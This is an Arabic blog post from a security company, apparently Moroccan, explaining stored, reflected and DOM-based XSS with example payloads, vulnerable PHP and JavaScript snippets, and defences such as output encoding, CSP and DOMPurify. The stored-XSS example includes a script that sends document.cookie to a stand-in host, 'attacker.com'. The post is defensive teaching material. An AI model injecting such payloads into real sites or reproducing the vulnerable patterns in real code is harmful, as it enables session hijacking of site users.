Nouvelle réglementation de cybersécurité 2026 en vigueur au Maroc. Obtenir un audit de conformité gratuit →
← Retour au blog
Owasp 2025-02-17 ⏱️ 15 min

شرح XSS: التخزين والاسترداد المبني على نموذج DOM مع أمثلة حقيقية

شرح XSS: الاستغلال المخزن والمنعكس والمبني على DOM في التطبيقات الحديثة

تظل البرمجة عبر المواقع (XSS) باستمرار واحدة من أبرز ثغرات تطبيقات الويب. تحدث هجمات XSS، المصنفة بدرجة عالية في أعلى 10 ثغرات من OWASP، عندما يقوم تطبيق بتضمين بيانات غير موثوقة في صفحة ويب دون التحقق من صحتها أو تجاوزها بشكل صحيح. إذا قام المهاجم بتنفيذ XSS بنجاح، فيمكنه تنفيذ نصوص برمجية خبيثة في متصفح الضحية، مما يؤدي إلى اختطاف الجلسة أو التشويه أو إعادة التوجيه إلى مواقع خبيثة.

في هذا الدليل الشامل من Cayvora Security، سنستكشف الأنواع الثلاثة الأساسية لـ XSS: المخزن، والمنعكس، والمبني على DOM. سنقدم أمثلة استغلال واقعية ونوضح ممارسات البرمجة الآمنة للتخفيف من هذه الهجمات المدمرة في عام 2025.

فهم تأثير XSS

عندما تزور الضحية صفحة ويب تحتوي على JavaScript ضار محقون، يقوم متصفحها بتنفيذ الكود بافتراض أنه من مصدر موثوق. يتيح ذلك للمهاجم:

  1. اختطاف جلسات المستخدمين: من خلال الوصول إلى document.cookie، يمكن للمهاجم سرقة رموز الجلسة.
  2. القيام بإجراءات غير مصرح بها: باستخدام XMLHttpRequest أو API الخاص بالجلب، يمكن للبرنامج النصي تزوير الطلبات.
  3. التقاط البيانات الحساسة: يمكن حقن برامج تسجيل ضربات المفاتيح لالتقاط كلمات المرور.
  4. توزيع البرامج الضارة: يمكن للبرنامج النصي إعادة توجيه المستخدم بصمت.

1. XSS المخزن (XSS المستمر)

XSS المخزن هو النوع الأكثر ضررًا من استغلال البرمجة عبر المواقع. يحدث ذلك عندما يتلقى التطبيق مدخلات من مستخدم، ويخزنها في قاعدة بيانات دون تعقيم، ثم يقوم بتضمين هذا الإدخال لاحقًا في صفحات الويب المقدمة لمستخدمين آخرين.

مثال واقعي للاستغلال

تخيل تطبيق منتدى يمكن للمستخدمين من خلاله ترك تعليقات. يقدم مستخدم ضار تعليقًا يحتوي على الحمولة التالية:

مقال رائع! <script>
  let img = new Image();
  img.src = "http://attacker.com/steal?cookie=" + document.cookie;
</script>

يقوم التطبيق بتخزين هذا الإدخال مباشرة في قاعدة بيانات MySQL. عندما يعرض المستخدمون اللاحقون، بما في ذلك المسؤولون، سلسلة التعليقات، تقوم متصفحاتهم بعرض HTML بما في ذلك علامة <script>. يتم تنفيذ البرنامج النصي بصمت، ويرسل ملف تعريف ارتباط الجلسة إلى المهاجم. إذا تم اختطاف جلسة مسؤول، فسيحصل المهاجم على السيطرة الكاملة على التطبيق.

استراتيجيات التخفيف

لمنع XSS المخزن، يجب عليك التحقق من المدخلات عند الوصول، وتشفير المخرجات بشكل سياقي قبل عرضها على المتصفح.

  • تشفير المخرجات: تأكد من أن أحرف مثل < و > و & و ' و " يتم تشفيرها ككيانات HTML.
  • سياسة أمان المحتوى (CSP): يمكن أن تمنع سياسة CSP القوية تنفيذ البرامج النصية المضمنة وأن تقيد المجالات التي يمكن تحميل البرامج النصية منها.

2. XSS المنعكس (XSS غير المستمر)

يحدث XSS المرتجع عندما يتلقى التطبيق بيانات في طلب HTTP ويقوم بتضمين تلك البيانات داخل الاستجابة الفورية بطريقة غير آمنة. يتم "عكس" البرنامج النصي المحقون من خادم الويب، مثل رسالة خطأ أو نتيجة بحث.

مثال استغلال حقيقي

قد تعكس صفحة البحث الضعيفة search.php استعلام المستخدم إليه:

<p>لقد بحثت عن: <?php echo $_GET['query']; ?></p>

يقوم المهاجم بصياغة عنوان URL ضار ويرسله إلى الضحية عبر البريد الإلكتروني: http://example.com/search.php?query=<script>alert('XSS')</script>

عندما تنقر الضحية على الرابط، يستجيب الخادم بـ:

<p>لقد بحثت عن: <script>alert('XSS')</script></p>

يتم تنفيذ البرنامج النصي على الفور في سياق جلسة الضحية مع الموقع الضعيف.

استراتيجيات التخفيف

  • التحقق الصارم من المدخلات: قم بتنفيذ نهج قائمة السماح للتأكد من أن معلمة الاستعلام تحتوي فقط على الأحرف الأبجدية الرقمية المتوقعة.
  • تشفير واعي بالسياق: قم بتشفير الإخراج بناءً على مكان وضعه.

3. XSS المستند إلى DOM

XSS المستند إلى نموذج كائن المستند هو ثغرة متقدمة يتم فيها تنفيذ حمولة الهجوم نتيجة لتعديل بيئة DOM في متصفح الضحية، بدلاً من استجابة HTTP من الخادم. الخادم نفسه غير مدرك تمامًا للهجوم.

مثال استغلال حقيقي

خذ بعين الاعتبار مقتطف JavaScript من جانب العميل يستخرج تفضيل لغة المستخدم من جزء URL (الجزء بعد #) ويكتبه في الصفحة:

let lang = decodeURIComponent(window.location.hash.substring(1));
document.getElementById('language-display').innerHTML = lang;

يرسل المهاجم رابطًا: http://example.com/page.html#<img src=x onerror=alert('DOM_XSS')>

لأن الحمولة تعتمد كليًا على التجزئة في المتصفح، لا يتم إرسالها أبدًا إلى الخادم. يقرأ JavaScript الذي يتم تشغيله في المتصفح التجزئة الضارة ويدرجها في innerHTML لعنصر، مما يؤدي إلى تنشيط التنفيذ.

استراتيجيات الحد

  • تجنب الأحواض الخطرة: استبدل innerHTML و outerHTML و document.write ببدائل أكثر أمانًا مثل textContent أو innerText.
  • تعقيم إدخال جانب العميل: إذا كان يجب إدراج HTML ديناميكيًا من جانب العميل، فاستخدم مكتبات مثل DOMPurify قبل إدراج المحتوى لتجريد العلامات الضارة.

تنفيذ سياسة أمان المحتوى (CSP)

بينما تعد عملية تشفير الإخراج والتحقق من المدخلات دفاعات أولية، توفر سياسة أمان المحتوى (CSP) القوية دفاعًا متعمقًا ضد XSS.

مثال على رأس CSP:

Content-Security-Policy: default-src 'self'; script-src 'self' https://trustedscripts.example.com; object-src 'none';

تمنع هذه السياسة البرامج النصية المضمنة في السطور والبرامج النصية الخارجية من المجالات غير المصرح بها، مما يبطل تمامًا معظم هجمات XSS حتى في حالة وجود ثغرة في الحقن.

قراءات إضافية

لفهم هذه الثغرات الأمنية بعمق وكيفية التعامل معها بشكل شامل يرجى قراءة المقالات التالية: - إتقان حقن SQL

لمزيد من المعلومات حول تجنب هذه الثغرات وتأمين الأنظمة يُرجى دائمًا التحقق من توجيهات OWASP الرسمية.

قم بتدقيق تطبيقك بحثًا عن XSS

امنع هجمات جانب العميل المدمرة. تواصل مع شركة Cayvora للأمن السيبراني لاختبار اختراق متقدم في المغرب.

📱 تواصل معنا عبر واتس اب

Besoin d'un audit de sécurité ?

Contactez Cayvora pour une consultation gratuite et protégez votre entreprise contre les cybermenaces.

📱 Contacter via WhatsApp

Articles connexes